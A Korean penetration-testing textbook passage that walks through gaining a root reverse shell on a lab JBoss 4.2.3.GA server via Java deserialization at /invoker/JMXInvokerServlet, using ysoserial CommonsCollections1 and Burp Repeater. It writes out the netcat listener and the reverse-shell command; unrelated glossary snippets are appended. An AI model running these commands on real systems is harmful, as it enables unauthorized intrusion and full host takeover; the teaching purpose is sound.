한편 좀전에는 응답 메시지를 살펴보았지만, 동일한 /invoker/JMXInvokerServlet 경로에다가 직렬화된 데이터를 요청 메시지로 전송할 수도 있습니다. 이때 자바 역직렬화 취약적으로 인해 임의의 페이로드를 삽입하여 원하는 명령어를 실행할 수 있습니다.

자바 역직렬화 취약점 공격을 위해서는 ysoserial이라는 프로그램을 사용할 수 있습니다. ysoserial은 다음 주소의 github 프로젝트에 공개되어 있는 오픈소스 입니다.

그림 13-2-5ysoserial 프로젝트 페이지

ysoserial 프로젝트 페이지의 첫 화면에는 프로그램의 설명과 함께 사용법, 예제, 설치 방법이 표시되어 있습니다. 프로그램을 사용하기 위한 목적이라면 직접 컴파일하지 않더라도, 컴파일이 이미 완료된 jar 파일을 다운로드하여 바로 사용할 수 있습니다. 프로젝트 페이지의 설치(Installation) 부분을 보면 jar 파일을 다운로드하는 방법이 안내되어 있습니다. JitPack이란 곳에서 최신 jar 파일을 다운로드할 수가 있다고 되어 있습니다.

그림 13-2-6ysoserial jar 파일 설치 방법 안내

다운로드한 jar 파일을 이용하여 원하는 명령어를 실행할 수 있는 공격 코드(페이로드)를 만들 수 있습니다. 그렇게 임의로 생성한 페이로드를 JBoss의 /invoker/JMXInvokerServlet URL로 전송하여 페이로드에 지정된 명령어를 실행할 수 있게 됩니다.

명령어 실행이 가능한 상황에서는 리버스 쉘을 이용하여 쉘을 획득할 수 있습니다.

칼리 리눅스에서 터미널을 생성하고 다음 명령문을 실행합니다. 포트는 4000번을 예제로 사용합니다.

nc -lvnp 4000

nc 명령어를 서버로 실행해놓고, 여기로 접속하는 명령문을 삽입한 페이로드를 ysoserial로 생성하여 자바 역직렬화 취약점이 있는 JBoss /invoker/JMXInvokerServlet 경로로 보내면, 원격 호스트(즉, 실습용 가상 머신)에서 리버스로 접속하게 됩니다.

이때 nc 접속을 위한 명령문은 다음과 같습니다.

nc <칼리리눅스 IP 주소> 4000 -e /bin/bash

이 명령문을 삽입한 공격 코드를 ysoserial을 이용해서 생성하겠습니다.

새로운 터미널을 열고 ysoserial 파일을 다운로드한 경로에서 다음과 같은 명령문을 실행합니다.

java -jar <다운로드 한 ysoserial 파일> CommonsCollections1 "nc <칼리리눅스 IP 주소> 4000 -e /bin/bash" > reverse.bin

실제로 명령어를 내린 스크린샷은 다음과 같습니다. 192.168.75.131은 본인의 칼리 리눅스 IP주소를 넣어주시면 됩니다.

그림 13-2-7ysoserial로 공격 코드를 생성한다.

CommonsCollections1은 페이로드의 한 종류로 JBoss 4.2.3.GA 버전을 공격하는데 사용됩니다. 왜냐하면 JBoss 4.2.3.GA 이 포함하고 있는데 CommonsCollections 패키지에 역직렬화 취약점이 있기 때문입니다. 그 뒤에 나오는 따옴표로 묶은 부분은 우리가 실행하고자 하는 명령어입니다. 이렇게 만들어진 공격 코드는 원래는 stdout으로 출력하도록 되어 있는데, >를 이용하여 reverse.bin 파일로 생성하도록 해주었습니다.

이렇게 생성된 페이로드 파일의 내용을 /invoker/JMXInvokerServlet URL로 전송합니다.

버프 스위트의 프록시 히스토리에 앞에서 요청했던 항목이 있으므로(그림 13-2-3), 이 요청을 재사용하기 위해 해당 요청 항목에서 마우스 우클릭 메뉴를 사용하여 리피터로 전달합니다. 리피터 탭에서 방금 전달한 요청을 찾은 다음, 요청의 바디 부분에서 마우스 우클릭 메뉴를 확인하면 Paste from file 이란 메뉴가 있습니다.

그림 13-2-8paste from file로 파일의 내용을 요청 메시지에 입력할 수 있다.

이 메뉴로 앞에서 ysoserial로 생성한 reverse.bin 파일을 선택하여 파일의 내용을 붙여 넣습니다.

그림 13-2-9reverse.bin 공격 코드가 추가되었다.

이제 Go 버튼을 눌러 요청을 전송하면, 리스닝 모드가 nc가 실행중이던 터미널에서 접속이 이루어진 것을 확인할 수 있습니다. id 명령어를 입력하면 쉘쇼크 취약점공격, PHP-CGI 취약점 공격과 달리 이번에는 root 사용자의 권한으로 쉘이 생성된 것을 알수 있습니다.

그림 13-2-10리버스로 접속이 이루어지며 루트 권한으로 각종 명령어 실행이 가능하다.

파이썬을 활용하여 프롬프트가 표시되는 쉘로 업그레이드 하는 것도 가능합니다.

자바 역직렬화 취약점을 이용하여 호스트 침투에 성공했습니다. 이전의 실습과 달리, 루트 권한까지 획득했기 때문에 호스트를 완전히 장악할 수 있게 되었습니다.

최근의 웹 브라우저

최근의 웹 브라우저들에는 요청에 삽입된 스크립트 코드가 응답 메시지에 즉시 출력될 때, 리플렉티드 크로스 스크립팅을 탐지하는 기능이 탑재되었습니다.

이메일 피싱

이메일 피싱은 공무원, 회사 직원, 금융기관 직원 등 공격 대상이 되는 사용자가 믿을 만한 사람/단체인 것처럼 위장하여 이메일을 보내고, 이메일에 포함된 링크를 클릭하게 하거나, 첨부파일을 열도록 하는 공격입니다.

html5

HTML5는 HTML의 완전한 5번째 버전으로 월드 와이드 웹 (World Wide Web)의 핵심 마크업 언어이다.

html5

HTML5는 HTML의 완전한 5번째 버전으로 월드 와이드 웹 (World Wide Web)의 핵심 마크업 언어이다.